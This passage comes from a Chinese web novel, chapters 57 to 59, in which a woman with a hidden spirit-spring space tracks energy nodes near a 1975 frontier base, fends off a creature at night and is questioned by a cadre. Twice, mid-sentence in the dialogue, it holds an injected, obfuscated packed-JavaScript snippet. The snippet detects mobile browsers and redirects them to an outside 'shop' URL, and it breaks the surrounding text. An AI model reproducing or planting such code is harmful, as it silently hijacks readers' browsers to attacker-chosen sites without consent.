麻痒感再次出现,比在草甸子时微弱,但更持续,带着一种奇特的规律性脉动,仿佛在呼吸。指向非常明确——正是“红岸”基地的核心区域方向,甚至可能就在那几栋主要建筑下方。 B点,在基地内部深处。这几乎断绝了她短期内直接接触的可能。 那么,C点呢?三角的第三点在哪里?如果A点在荒草甸子(连队北),B点在基地深处(东偏南),按照几何原理,C点可能在西或西北方向,构成一个大致覆盖连队和部分基地区域的三角。 她的目光,不由自主地投向了连队西面——那里是更广阔的荒原、零星的树林,以及……几处更早些年废弃的勘探点或临时工棚。 会不会在那里? 这个念头让她心头一跳。如果C点也在野外,或许比B点更容易接近。但如何确定具体位置? 她想起灵泉空间传递的信息中有“共鸣点”和“能量标记”。或许……当A点(已知)因能量泄露产生波动时,其他点会产生某种程度的“共鸣”?或者,她可以通过银镯和树苗,主动去“感应”这种共鸣? 这需要试验,也需要机会。 晚上,喂完猪,林晚照回到工具房。她没有点灯,而是坐在黑暗中,再次尝试与灵泉空间沟通。这次不是为了取物,而是将一部分恢复的精神力,附着在树苗的绿意和银镯的微弱能量场上,如同细密的蛛网,向着外界,尤其是西面的方向,极其小心地延伸、感知。 这是一个大胆而冒险的尝试,如同在黑暗中伸出触角,很容易被未知的存在察觉或反噬。但她别无选择。 精神力丝线在寒冷的夜色中蔓延,捕捉着空气中游离的、常人无法感知的细微波动。大部分是空洞的寒冷和死寂,偶尔有连队营房散逸的微弱生机(人类、牲畜),有荒原冻土下沉睡的麻木,也有草甸子方向传来的、令她心悸的紊乱与躁动(A点泄露)。 就在她的感知力即将耗尽,准备收回时—— 在西面,大约两三里外,一片被积雪覆盖的、早已废弃的旧打井工棚方向,一缕极其微弱、但与她手中银镯、意识中树苗隐隐同源的能量脉动,如同沉睡中翻身时的呓语,轻轻地,回应了一下。 找到了! C点! 林晚照猛地睁开眼睛,黑暗中,眸子里闪过一抹锐利的光芒。 三角的第三点,竟然在连队西面废弃的工棚区!那里人迹罕至,或许……有机会! 然而,还没等她细想,一阵突如其来的、剧烈的心悸感毫无征兆地攥住了她!这一次,不是银镯的感应,也不是树苗的波动,而是来自灵泉空间深处!一股极其隐晦、却带着明显警告意味的波动传来,仿佛在提醒她—— 刚才的感知延伸,似乎……惊动了什么。 几乎同时,连队饲养的那几条狼狗,毫无征兆地再次狂吠起来,这一次,吠声充满了极度的恐惧和敌意,齐刷刷地,对准了她所在的工具房方向! 工具房外,风雪声中,似乎传来了一声极轻极轻的、仿佛什么东西擦过积雪表面的窸窣声,就在窗根底下。 57.窗外雪影与应急口粮 那声窗外的窸窣轻响,像一根冰冷的针,瞬间刺破了工具房里脆弱的寂静。 林晚照全身的肌肉瞬间绷紧,呼吸屏住,心脏在胸腔里剧烈撞击。黑暗中,她的眼睛睁得极大,死死盯住那扇糊着破旧窗纸、此刻在风雪中微微颤动的木格窗户。 狼狗们狂躁的吠声还在持续,但已经不是对着荒野,而是明确地、充满威胁地朝着养猪场、朝着她这间工具房的方向。那吠声里除了恐惧和敌意,似乎还夹杂着一丝……困惑?仿佛它们嗅到了什么极度异常、无法理解的气息。 窗外的窸窣声停了。 但林晚照能感觉到,有什么东西还在那里。没有离开。一种冰冷、黏腻、充满恶意的“注视感”,如同实质般穿透薄薄的窗户纸,笼罩了整个房间。 不是人。人的气息和脚步声不是这样的。也不完全是野兽。这感觉更诡异,更……“空”,又带着一种扭曲的贪婪。 是被碎片A点能量污染吸引、进而发生某种异变的生物?还是她刚才精神力探查时,像灯塔一样,吸引了黑暗中某些以能量为食、或对能量敏感的存在? 她不敢动,甚至不敢大声呼吸。左手悄悄缩回袖中,握住了冰凉的银镯。树苗的意念传来清晰的警惕和一丝不安,但并没有恐惧到失控。灵泉空间的警告波动已经平息,但那种被“标记”的感觉依然残留。 必须判断外面的到底是什么,以及,它想干什么。 她集中起仅存的一点精神力,没有外放,而是附着在听觉上,努力捕捉窗外每一丝最细微的声响。风卷雪粒打在窗户上的沙沙声,远处连队营房隐约的嘈杂(显然狗吠惊动了更多人),还有……窗根底下,极其轻微的、仿佛什么东西在嗅探的、湿漉漉的声音。 嗅探?是在确认她的气味?还是确认能量的来源? 林晚照脑中飞速闪过对策。装死?没用,对方明显是活的。呼救?可能来不及,而且会彻底暴露自己的异常(普通人面对这种看不见的威胁第一反应应该是惊恐大叫,而不是冷静思考)。反击?她手无寸铁,身体只恢复三四成,精神力透支,唯一依仗是刚能打开缝隙的灵泉空间,里面有什么能用的? 压缩饼干?水?显然不行。 等等……空间里储存的,除了物资,还有什么?那精纯的能量气息……能否被动用?哪怕一丝? 她冒险将一丝微弱的精神力再次探入空间门缝,不是取物,而是尝试“引动”一丝空间内纯净的能量气息,将其附着在自己的精神力上,然后,像撒胡椒粉一样,朝着窗外的方向,极其轻微地“弹”了出去。 这是一个试探。如果外面的东西真是被能量吸引而来,或许会对这更精纯、无主(似乎如此)的能量产生反应。 那一丝微不可查的能量气息,穿过窗户缝隙,融入了外面的风雪。 瞬间—— 窗外的嗅探声停了。 紧接着,是一种令人牙酸的、仿佛粗糙皮革摩擦冰面的刮擦声,迅速靠近窗户!同时,那股冰冷恶意的注视感陡然增强,并且带上了明确的、近乎狂喜的渴望! 它感受到了!而且被强烈吸引了! “砰!” 一声闷响,有什么东西重重地撞在了窗户下方的土墙上!力道不大,但足够骇人。破旧的窗棂和窗纸剧烈地震动了一下,簌簌落下灰尘。 林晚照猛地向后一缩,后背抵住了冰冷的土炕边缘。心脏快要跳出嗓子眼。它要进来?! 怎么办? 就在这千钧一发之际—— “干什么的?!谁在那儿?!” 一声粗粝的暴喝,如同炸雷,在养猪场院门口响起!紧接着是拉枪栓的清脆“咔嚓”声! 是夜间巡逻的哨兵!被持续不断的狗吠和这边的动静引过来了! 窗外的刮擦声和那股恶意的注视感,如同受惊的毒蛇,倏地一下消失了。取而代之的是积雪被急速拖行、迅速远去的窸窣声,朝着荒草甸子的方向,几个呼吸间就远去了,消失在风雪声中。 狼狗的吠声也渐渐平息,变成了不安的呜呜声。 “砰!砰!” 工具房的木门被用力拍响。“里面的人!没事吧?开门!” 是哨兵的声音,带着警惕。 林晚照深吸一口气,强迫自己颤抖着手,点燃了炕头的油灯。昏黄的光晕驱散了一部分黑暗,也映照出她苍白如纸、冷汗涔涔的脸。她定了定神,用带着惊魂未定颤音的声音应道:“没……没事!我这就开门!” 她趿拉着鞋,走到门边,拔开门闩。门外站着两个端着步枪的年轻战士,神色紧张,手电光柱在院内和工具房里扫射。刺骨的寒风立刻灌了进来。 “林晚同志?刚才是怎么回事?我们听到这边有动静,狗也叫得邪乎。”一个战士问道,目光锐利地扫视着屋内。 林晚照裹紧棉袄,身体还在微微发抖,这倒不全是装的。“我……我也不知道。正睡着,就听到窗户下面有声音,像是有东西在爬……还撞了一下墙……我也吓坏了,没敢动……”她指着窗户的方向,声音带着后怕。 两个战士对视一眼,一个立刻用手电照向窗根底下。积雪被扰乱了,有一片明显的拖曳痕迹,还有一些……说不出是什么的、细碎凌乱的印记,不像常见的动物爪印。墙根处,还有几道新鲜的、深深的刮痕,露出里面的黄土。 “真有东西!”战士脸色一变,“看这痕迹……不像狼,也不像獾子……” “我去报告连长!”另一个战士转身就要跑。 “等等!”先前那个战士叫住他,又看了看林晚照惨白的脸,“林晚同志,你今晚别睡这了。跟我们去营房那边,跟卫生员或者家属凑合一宿。这里不安全。” 转移?林晚照心念急转。离开工具房,固然更安全,但也意味着失去相对独立的空间,可能被更多人看到,也不方便她后续行动(比如尝试去C点)。而且,她刚才情急之下动用了空间能量,虽然极其微弱,但难保没有留下什么不易察觉的痕迹,留在现场或许能混淆视听。 “不……不用麻烦同志们了。”她连忙摆手,脸上挤出一点勉强的笑容,“那东西……不是被你们吓跑了吗?我……我把门顶结实点,应该没事了。这么晚,就别惊动连长了,连长白天已经很累了。”她表现得既胆小又想为集体考虑,符合她目前的人设。 两个战士犹豫了一下。确实,连长王大山这几天为了失窃案和狼群的事焦头烂额,刚睡下不久。而且眼前这个女同志看起来虽然害怕,但还算镇定,不像会出大事的样子。 “那……行吧。”一个战士妥协了,“我们就在附近巡逻,你有事就大声喊。这门……”他看了看单薄的门板,“我们帮你弄根杠子顶上。” 他们从柴垛找来一根结实的木棍,从里面将门斜顶住。又仔细检查了窗户,确认除了旧没有破损。 “晚上警醒点。”战士再次叮嘱。 “哎,谢谢同志们。”林晚照连连道谢。 送走哨兵,重新顶好门,工具房里再次剩下她一人。油灯的光晕摇曳,将她的影子投射在斑驳的土墙上,放大了数倍,微微晃动。 危机暂时解除。但林晚照知道,事情远没有结束。那个被吸引来的“东西”是什么?它会不会再来?哨兵看到的痕迹,会不会引起更深入的调查? 她走到窗边,仔细查看那些刮痕。痕迹很深,边缘不规则,带着一种奇怪的焦黑感,仿佛不是单纯的物理刮擦,还伴随着某种轻微的腐蚀或能量灼烧。这绝不是普通动物能留下的。 她从墙角抓了一把干土,小心地将那几道焦黑的刮痕覆盖、抹平,尽量恢复原状。又将窗根下混乱的积雪大致扫了扫,弄得更自然些。 做完这些,她才脱力般地坐回炕沿。刚才的惊吓和应对消耗了她大量精力,加上之前精神力透支的后遗症,此刻太阳穴一跳一跳地疼,眼前阵阵发黑。 她需要恢复,立刻,马上。 她再次集中精神,沟通灵泉空间。这一次,目标明确——尝试引出一点点灵泉水。空间传递的信息里提到“滋养”,灵泉水应该是最佳的恢复品。 精神力小心翼翼地探入门缝,向着感知中那汪清泉的方向延伸。距离似乎比取清水和食物远得多,阻力也更大。她咬着牙,额头青筋微凸,汗珠滚落。 终于,一丝极其清凉、蕴含着浓郁生机气息的液体,被她艰难地“引”了出来,只有寥寥数滴,落在她早已准备好的破碗里。 她立刻捧起碗,将那几滴灵泉水服下。 液体入喉,瞬间化作一股温润而强劲的暖流,迅速扩散至四肢百骸!所过之处,疲惫如潮水般退去,头痛迅速缓解,几处最顽固的隐痛也明显减轻。精神上的萎靡一扫而空,取而代之的是一种清明的饱满感。效果立竿见影,远超之前渗透出的气息! 灵泉水,果然是恢复的圣品!只可惜,以她目前的能力,一次只能引出这么几滴,而且消耗巨大。 但这也足够了。她感觉自己的状态恢复到了五六成,至少有了应对一般危机和进行基本探查的体力。 她将碗藏好,吹熄油灯,躺回炕上。黑暗中,眼睛却亮得惊人。 窗外的威胁暂时退去,但C点的发现和三角结构的秘密,像磁石一样吸引着她。必须尽快去废弃工棚区探查。但如何避开哨兵和连队的注意?尤其是经历了今晚的事,巡逻必定更加严密。 或许……可以借助白天劳动的机会?老陈头说过,过两天要去更远的草甸子打草,会不会路过西面?或者,养猪场需要去那边找什么特定的草料、土方? 她需要更合理的借口和路线。 还有一个问题:那个被吸引来的“东西”。它显然对能量敏感,且具有一定攻击性。如果C点也有能量泄露或标记,会不会同样吸引它,甚至其他更麻烦的存在?自己去探查,会不会自投罗网? 风险与机遇并存。她必须去。不仅要找到C点,最好能初步了解这三个点构成的“三角稳定”到底有什么作用,以及蕾拉留下它们的真正意图。 带着纷乱的思绪和逐渐恢复的体力,林晚照后半夜勉强睡了一会儿。 第二天一早,天刚亮,老陈头就来了,脸色比昨天更差,眼窝深陷。“夜里,没事吧?”他哑声问,显然听说了什么。 “没事,陈伯。哨兵同志来得及时。”林晚照回答,一边麻利地生火准备煮猪食。 老陈头蹲在灶膛边,沉默地添着柴,半晌才道:“西面,旧工棚那边,以后也别去。” 林晚照心头一跳,面上不动声色:“陈伯,那边……也有问题?” 老陈头往灶膛里塞了根柴,火光映着他浑浊却锐利的眼睛。“那边,更早就不太平。打井打到一半,停了。说是……打出过‘黑水’,碰着的人,身上起红斑,发烧说胡话。后来封了。”他顿了顿,“这几年,偶尔有牲口跑那边,回来就不对劲。跟草甸子那边……有点像,又不太一样。” 黑水?辐射污染?还是另一种形式的能量泄露?C点的性质可能和A点不同! “连长知道吗?”林晚照问。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930912|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道。不让靠近。”老陈头站起身,“喂猪吧。今天多铡点草,天看着还要下雪。” 一上午在平静而繁重的劳动中度过。连队里的气氛依旧紧张,但关于昨夜养猪场的小插曲,似乎被更严重的狼群和失窃案调查压了下去,没有引起大规模议论。只是林晚照注意到,白天在养猪场附近巡逻的哨兵明显增加了。 午后,赵卫国悄悄来了,趁老陈头去仓库拿豆饼的工夫,塞给林晚照一个小纸包,低声道:“俺从卫生员那儿多要了点消炎药和纱布,你藏好。昨晚……吓着了吧?连长已经下令,以后晚上养猪场这边也加个流动哨。你别怕。” “谢谢赵同志。”林晚照接过,真心道谢。赵卫国的关心让她在这个冰冷陌生的环境里感受到一丝暖意。“调查……有进展吗?” 赵卫国摇摇头,眉头紧锁:“没有。粮食像是被什么东西撕碎拖走的,找回来的都是渣子。脚印乱得很,专家都说不清。周干事还没走,听说团部还要再派人来。”他看了看四周,声音压得更低,“还有……‘红岸’基地那边,好像也有动作,今天早上有辆吉普车进去,不是平时的车。” 基地有动作?林晚照心中一凛。是常规事务,还是和碎片能量波动有关? “你自己千万小心。”赵卫国又叮嘱了一句,匆匆走了。 下午,林晚照一边铡草,一边思考。时间不等人。调查在深入,基地有动作,暗处有未知威胁,碎片能量在持续影响环境……她必须尽快行动。 也许,机会就在眼前。老陈头说明天要去更远的南甸子打草,那里虽然不直接路过西面工棚区,但或许可以借口寻找某种特定的、给猪治病的草药(她记得昨天翻阅灵泉空间模糊信息时,似乎有关于草药的零星记载),绕道过去看看? 这需要老陈头的配合,或者至少不反对。她需要找一个合适的时机和理由。 傍晚,喂完猪,林晚照没有立刻回工具房,而是帮着老陈头收拾铡刀和草料。她状似无意地提起:“陈伯,我瞅着有头猪胃口不太好,有点蔫,是不是冻着了?还是缺啥口?” 老陈头检查了一下那头猪:“天冷,正常。多给点温食。” “哦。”林晚照点点头,犹豫了一下,像是突然想起什么,“陈伯,我老家那边,猪要是受寒没精神,老人会用一种叫‘地丁草’的干草根,熬水拌食,挺管用的。不知道咱们这边有没有这种草?我记得好像在西面……那边向阳的坡地上见过类似的?”她故意说得含糊,将老家偏方和模糊的记忆结合起来。 老陈头动作一顿,看向她:“西面坡地?你什么时候去过?” “没……没去过。”林晚照连忙低头,显得有点心虚,“就是……就是以前听人说过,咱们这边西面坡地草多。我瞎猜的。” 老陈头沉默地看了她几秒,那目光仿佛能穿透人心。就在林晚照以为被识破时,他却缓缓开口:“明天,打完南甸子的草,要是时辰早,我去西面看看。你,老实待着。” 林晚照心中一震,随即涌起一股复杂的情绪。老陈头这是……答应帮她去找,但同时警告她别去?他到底看出了多少?又为什么愿意帮忙? “谢谢陈伯。”她低声道。 老陈头没再说话,佝偻着身子,提着马灯走了。 夜色再次降临。林晚照回到工具房,关好门,顶紧木杠。她坐在炕边,从炕席下拿出那半块压缩饼干,小口啃着。干硬的饼干在口中慢慢化开,提供着热量和饱腹感。就着灵泉水,她慢慢恢复着体力。 明天,老陈头会去西面。她不能跟去,但或许可以尝试远距离感应?或者,等老陈头回来,从他那里得到关于C点区域的更具体信息。 就在她计划着明天的行动时,左手腕的银镯,再次传来清晰的脉动。这一次,不是指向B点或C点,而是传递出一种奇特的、共振般的波动,仿佛三个点之间,正通过某种无形的能量网络,发生着微妙的联系。 与此同时,她感觉灵泉空间深处,那扇门后的模糊区域,似乎有什么东西,在银镯和外界碎片能量的共同作用下,轻轻地苏醒了一瞬,传来一段比之前清晰得多的意念: “三角已成……定位……庇护所……钥匙……碎片归位……” 钥匙?碎片归位? 难道,三角结构的三个点,不仅仅是标记,还可能是一个……“庇护所”的入口或控制节点?需要“钥匙”和“碎片归位”才能开启? “钥匙”……是指她曾持有、又莫名消散的“母本钥匙”金属片,还是指她手上的银镯?或者……是她自己? 信息太过破碎,但指向却令人心惊。 林晚照正试图解读这段信息,突然—— “咚咚咚。” 工具房的门,被不轻不重地敲响了。 不是哨兵粗鲁的拍打,也不是老陈头习惯的轻咳示意。这敲门声平稳,克制,带着一种不容忽视的意味。 林晚照瞬间警觉,将饼干和碗迅速藏好,深吸一口气,走到门边。 “谁?”她问,声音带着一丝恰到好处的紧张。 门外,一个平静的、有些耳熟的中年男声响起: “林晚同志,是我,周干事。有点情况,需要再跟你核实一下。方便开门吗?” 周干事?这么晚了,他独自一人来? 林晚照的心,缓缓沉了下去。她看了一眼被木棍顶死的门,又听听外面风雪声中再无其他动静。 是福不是祸,是祸躲不过。 她伸手,慢慢移开了顶门的木杠。 58.油灯下的博弈 门闩滑动的声音在寂静中显得格外清晰。 林晚照拉开一道门缝,刺骨的寒风夹杂着雪粒立刻扑了进来。门外,周干事裹着件半旧的军大衣,没戴帽子,头发上落了一层薄雪,眼镜片上也蒙着雾气。他手里没拿公文包,只提着那盏熟悉的马灯,昏黄的光晕在他平静无波的脸上投下晃动的阴影。 “周干事。”林晚照让开身子,声音带着一丝刚被吵醒的沙哑和恰到好处的拘谨,“您快请进,外面冷。” 周干事点点头,迈步进来,随手带上了门,阻隔了大部分风雪。他站在门口,目光习惯性地迅速扫过整个工具房——土炕、破灶、简陋的桌凳、墙角堆放的少许口粮和柴草,最后落在那盏重新被林晚照点燃、光线微弱的油灯上,以及林晚照身上那件臃肿却整洁的旧棉袄。 “打扰你休息了,林晚同志。”周干事的声音依旧平稳,听不出什么情绪,“有些情况,白天人多眼杂不方便,想趁晚上再跟你单独了解一下。”他说话时,呼出的白气在冰冷的空气中清晰可见。 “您坐,周干事。”林晚照搬过屋里唯一一张看起来结实些的小板凳,用袖子擦了擦并不存在的灰。她自己则退到炕沿边,半倚着,姿态恭敬而不安,双手下意识地攥着棉袄下摆。 周干事没坐,只是将马灯放在旁边一个破木箱上,摘下眼镜,从怀里掏出块手帕擦了擦镜片,又重新戴上。这个动作让他看起来少了几分公事公办的锐利,多了些知识分子的细致,但镜片后的眼睛依然清明。 “林晚同志,不用紧张。”他重新开口,语气似乎缓和了些,“就是随便聊聊。你到咱们三连,也有四五天了吧?生活还习惯吗?劳动强度能适应吗?” “习惯,能适应。”林晚照连忙回答,“陈伯很照顾我,连长和同志们也都很关心。就是……就是给集体添麻烦了。”她垂下眼,显得愧疚。 “谈不上麻烦。建设北大荒,需要每一个人的力量。”周干事摆摆手,话锋却微微一转,“不过,最近连队里事情比较多,你也看到了。失窃案还没头绪,狼群又闹得凶,昨晚你这儿也不太平。王连长肩上的担子很重啊。” 来了。林晚照心中一凛,面上露出担忧和一丝后怕:“是啊,连长太辛苦了。昨晚……多亏了巡逻的同志。” “嗯。”周干事点点头,像是随意地踱了两步,走到灶台边,目光扫过那口小铁锅和旁边的粗陶罐,“生活上有什么短缺吗?我看你这儿……东西不多。” “不少了,不少了!”林晚照连忙说,“连里给的粮食够吃,陈伯还给了点猪油,已经非常好了。” “猪油?”周干事似乎来了点兴趣,走到陶罐边,看了看,“老陈头是个实在人。他对你怎么样?” “陈伯很好,话不多,但教我做活很耐心。”林晚照回答得很快。 “他有没有跟你提过,连队西面,那些废弃的旧工棚?”周干事转过身,目光再次落在林晚照脸上,问得仿佛漫不经心。 林晚照的心脏猛地一跳。西面工棚!周干事怎么会突然问这个?是巧合,还是……他知道了什么?她强迫自己保持镇定,脸上露出一点茫然,努力回忆的样子:“西面……工棚?陈伯好像……提过一句,说那边以前打过井,后来停了,不让我们去。具体的……没多说。”她回答得半真半假,将老陈头白天的警告模糊地复述出来。 “哦?他没说为什么不让去吗?”周干事追问,眼神专注。 “就说……不太平,好像打出过不好的水,伤过人。”林晚照的声音低了下去,带着这个时代人们对“不祥之地”本能的敬畏,“我也没敢多问。” 周干事沉默了片刻,手指无意识地轻轻敲击着木箱边缘,发出笃笃的轻响。“不太平……”他重复了一遍,像是在咀嚼这个词的含义,“最近不太平的地方,好像有点多。草甸子那边,你这工具房外面昨晚……也不太‘太平’。” 他的目光陡然变得锐利起来,如同手术刀,似乎要剖开林晚照所有的伪装:“林晚同志,你觉得,这些‘不太平’,会不会……有什么联系?” 这个问题如同一记重锤,敲在林晚照的心上。联系?他怀疑这些异常事件之间有内在关联,甚至……怀疑她这个突然出现的“外来者”与这些异常有关! “联系?”林晚照适时地露出惊愕和困惑的表情,睁大了眼睛,“周干事,您是说……偷粮食的,闹狼的,还有昨晚我这儿……是一回事?这……这怎么可能呢?我就是个干活吃饭的,啥也不懂啊。”她表现得像一个被吓到、完全无法理解复杂关联的普通劳动妇女。 周干事紧紧盯着她的眼睛,看了足足有五六秒钟。油灯的光在她脸上跳跃,那双眼睛清澈见底,只有真实的惶恐和不解,看不到丝毫心虚或隐藏的锋芒。 终于,周干事移开了目光,语气恢复了之前的平淡:“我只是提出一种假设。阶级斗争是复杂的,有时候,敌人会利用各种我们想不到的手段进行破坏。当然,也可能是自然现象巧合。”他顿了顿,从大衣内袋里掏出一个小笔记本和钢笔,却没有打开,只是拿在手里,“林晚同志,关于你的家乡和来找叔叔的具体情况,上次说得比较简略。你看,方不方便再跟我说说,比如你老家具体是哪个公社哪个大队?你叔叔林向农,当年是通过什么渠道来北大荒的?介绍人是谁?你叔婶工作的工厂全名叫什么?” 问题更加具体,也更加致命。上次的盘问集中在“现在”,这次开始深挖“过去”。每一个细节都可能成为戳破谎言的尖刺。 林晚照的后背瞬间被冷汗浸湿。她知道,最严峻的考验来了。周干事的耐心似乎正在耗尽,或者说,他掌握的线索让他必须尽快核实她的身份。 她的大脑以前所未有的速度飞转。不能慌,每一个答案都要在之前模糊框架的基础上,增加看似合理、实则难以追查的细节。要利用这个时代信息流通不便、档案管理可能存在疏漏的特点。 “我老家……是南江省,青河县,红旗公社,林家大队。”她报出一个真实存在的、七十年代常发水灾的县名和当时常见的公社大队名。“我叔叔……是六零年那会儿,跟着县里组织的垦荒队来的,说是支援边疆建设。介绍人……好像是我爹一个远房表亲,叫林有福,早就没联系了。我叔婶都在县农机厂上班,是……是铸造车间的工人。”她将叔婶的身份也说得具体,但车间工种是当时工厂里最常见的,难以核实。 她一边说,一边仔细观察周干事的反应。周干事低头在笔记本上快速记录着,脸上没什么表情。 “你父母呢?”他头也不抬地问。 “我爹娘……走得早,我六岁那年,矿上出事……”林晚照的声音低了下去,带着真实的伤感(这来源于原主的部分记忆融合)。 “哦。”周干事笔尖顿了顿,抬头看了她一眼,那眼神里似乎闪过一丝极淡的别的什么,但太快了,无法捕捉。“一个人拉扯你不容易。你上过学吗?” “上过几年扫盲班,认识些字,会写自己名字,算简单的数。”林晚照回答。这个文化程度符合她声称的贫苦出身,也解释了她能看懂养猪场简单记录的能力,又不至于引起对“知识青年”身份的联想。 周干事合上笔记本,却没有放回口袋,在手里慢慢转着。“你提供的这些情况,我们会想办法核实。不过,林晚同志,你也知道,现在全国都在抓革命、促生产,阶级斗争的弦一刻也不能松。对于来历不明的人员,尤其是出现在‘红岸’这样的重点区域附近,组织上必须慎之又慎。” 他向前走了一步,距离林晚照更近了些,油灯的光将他高大的影子投在土墙上,带来一种无形的压迫感。“我希望你理解组织的难处,也真诚地希望你刚才说的每一句话,都是经得起考验的。这对你,对三连,都好。” 林晚照用力点头,眼神恳切:“周干事,我明白!我说的都是实话!我愿意接受组织任何考验!” “好。”周干事终于将笔记本放回口袋,语气似乎放松了些,“这几天,可能还会有其他同志来找你了解情况,或者需要你配合做一些工作。你要有心理准备。” “我一定配合!”林晚照立刻表态。 周干事没再说什么,提起马灯,走向门口。就在他的手搭上门闩时,忽然又停住了,背对着林晚照,像是随口问道:“对了,林晚同志,你手腕上……戴的是银镯子吧?样式挺特别的,家里传的?” 轰! 林晚照感觉浑身的血液似乎都凝固了一瞬!银镯!他注意到了!什么时候?是刚才递板凳时袖子滑落?还是之前不经意的一瞥? 她强行压下立刻缩手的冲动,脸上挤出一个有些不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930913|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思的笑容,将左手往袖子里缩了缩,声音带着怀念和一丝窘迫:“是……是我娘留给我的……唯一一件念想了。样式是旧了点,让您见笑了。”她将银镯的来源归于逝去的母亲,合情合理,也增加了情感的份量,让人不好再多追问。 周干事转过身,目光似乎在她袖口停留了一瞬,又似乎没有。他脸上没什么特别的表情,只是点了点头:“老一辈的东西,是个念想。收好吧,这年头,戴这个要注意影响。” “哎,我晓得,平时都藏着,不让人看见。”林晚照连忙说,心却提到了嗓子眼。 “嗯。”周干事不再多说,拉开门,寒风再次涌入。他迈步出去,又回头道:“晚上锁好门。有什么异常,及时报告。” “谢谢周干事,您慢走。”林晚照站在门口,看着他提着马灯的身影很快消失在风雪弥漫的夜色中,直到那点光晕彻底看不见,才缓缓地、颤抖着手,关上门,重新顶上木杠。 背靠着冰冷粗糙的门板,她大口喘着气,冷汗已经湿透了内里的衣衫。刚才的每一分每一秒,都像是在刀尖上跳舞。周干事的每一个问题都暗藏机锋,尤其是最后关于银镯的“随口一问”,更像是一记精准的试探。 他到底知道了多少?是真的只是例行排查,还是已经将她与最近的异常事件,甚至与“红岸”基地的某些秘密联系起来了? 还有,他提到“其他同志”和“配合工作”……是什么意思?更深入的审查?还是……某种她无法预料的安排? 林晚照走回炕边,颓然坐下。灵泉空间传递来的清凉气息自动流转,平复着她剧烈的心跳和紧绷的神经。与周干事的这次深夜交锋,虽然暂时过关,却让她清晰地意识到,自己如同一颗被投入平静湖面的石子,激起的涟漪正在不断扩大,迟早会引起真正的惊涛骇浪。 她必须加快速度。在老陈头明天去西面探查之前,在周干事可能的下一步动作之前,她需要对三角碎片有更多的了解,需要恢复更多的力量。 她再次集中精神,沉入意识。灵泉空间的门缝依旧,树苗绿意盎然。她尝试着,将更多的心神投入进去,不是取物,也不是引动能量,而是试图“理解”之前那段关于“三角庇护所”和“钥匙碎片归位”的模糊信息。 随着她的专注,空间内那汪灵泉似乎微微荡漾,更多的意念碎片断断续续地涌来,如同拼图: “……三角定位……能量节点……稳定场域……隔绝‘遗蜕’污染……滋养……修复……” “……钥匙……核心碎片……三处节点共鸣……开启门户……回归‘摇篮’初始之地……” “……警告……能量失衡……节点泄露……吸引‘低语者’……污染扩散……” 低语者?是昨晚窗外那种东西的称呼吗?它们是被失衡能量吸引来的?那“遗蜕”污染……是指博士那种时空污染,还是别的? 信息仍然残缺,但脉络逐渐清晰:蕾拉留下的三角碎片,似乎是一个大型的、具备“庇护”和“净化”功能的装置(或场域)的三个能量节点。它需要“钥匙”(很可能是她曾拥有的金属片或她的银镯)和所有碎片归位才能完全启动。而目前,至少A点(草甸子)已经泄露,吸引了名为“低语者”的麻烦,C点(西面工棚)情况不明,B点(基地内部)可能相对稳定但也可能存在问题。 她的目标,或许不仅仅是找到碎片,还要设法让它们“归位”,稳定这个庇护所?这听起来远超她目前的能力范围。 但是,如果这个“庇护所”真的能隔绝“遗蜕”污染,那对于这个尚未被未来灾难波及的1975年,对于她想要安稳生活的愿望,是否至关重要? 纷乱的思绪中,夜更深了。疲劳再次袭来,她准备休息,为明天可能到来的任何情况储备体力。 然而,就在她即将躺下时,左手腕的银镯,突然毫无征兆地剧烈震动起来!这一次,不是感应某个方向,而是如同被投入石子的水面,荡开一圈圈清晰的、带着警报意味的能量波纹! 几乎同时,她“听”到了一声极其轻微、却仿佛直接响在灵魂深处的、充满痛苦与疯狂的嘶鸣,从西面的方向遥遥传来,瞬间即逝! 是C点方向! 老陈头明天要去的地方! 林晚照猛地坐直身体,黑暗中,脸色一片煞白。 59.嘶鸣的回响与失控的猪 那声来自灵魂深处的嘶鸣,如同冰冷的铁丝,瞬间穿透了风雪夜的死寂,也刺穿了林晚照紧绷的神经。它短暂、尖利,充满了无法形容的痛苦和一种原始的疯狂,随即被更猛烈的风雪吞没,仿佛从未出现过。 但银镯持续的剧烈震动和清晰的警报波纹,证明那不是幻觉。 C点出事了!就在西面废弃工棚区!老陈头天一亮就要去那边! 林晚照猛地从炕上弹起,几步冲到窗边,一把推开糊着厚厚窗纸的破木窗棂——只推开一道缝隙,刺骨的寒风立刻像刀子一样灌进来,刮得她脸颊生疼。她眯起眼,竭力向西面望去。夜色浓重如墨,风雪交织成一片混沌的帷幕,除了近处猪圈模糊的轮廓和远处连队营房零星的、仿佛随时会熄灭的灯火,什么也看不见。 但那股令人心悸的波动,即使隔着这么远,似乎仍有余韵在空气中震颤,与银镯的警报产生着微弱的共鸣。树苗的意念也传递来清晰的警惕与不安,绿光微微闪烁。 是什么?能量爆发?碎片被触发?还是……昨晚那种“低语者”在C点聚集或发生了变故?抑或是,有其他人——调查组?“红岸”基地?甚至……“灯塔”或博士的残余势力——先一步找到了那里? 无数可能性在她脑中翻滚,每一种都意味着巨大的危险。老陈头只是个普通的、腿脚不便的老兵,对异常的了解仅限于朴素的“邪性”认知,他若毫无防备地踏入那种地方…… 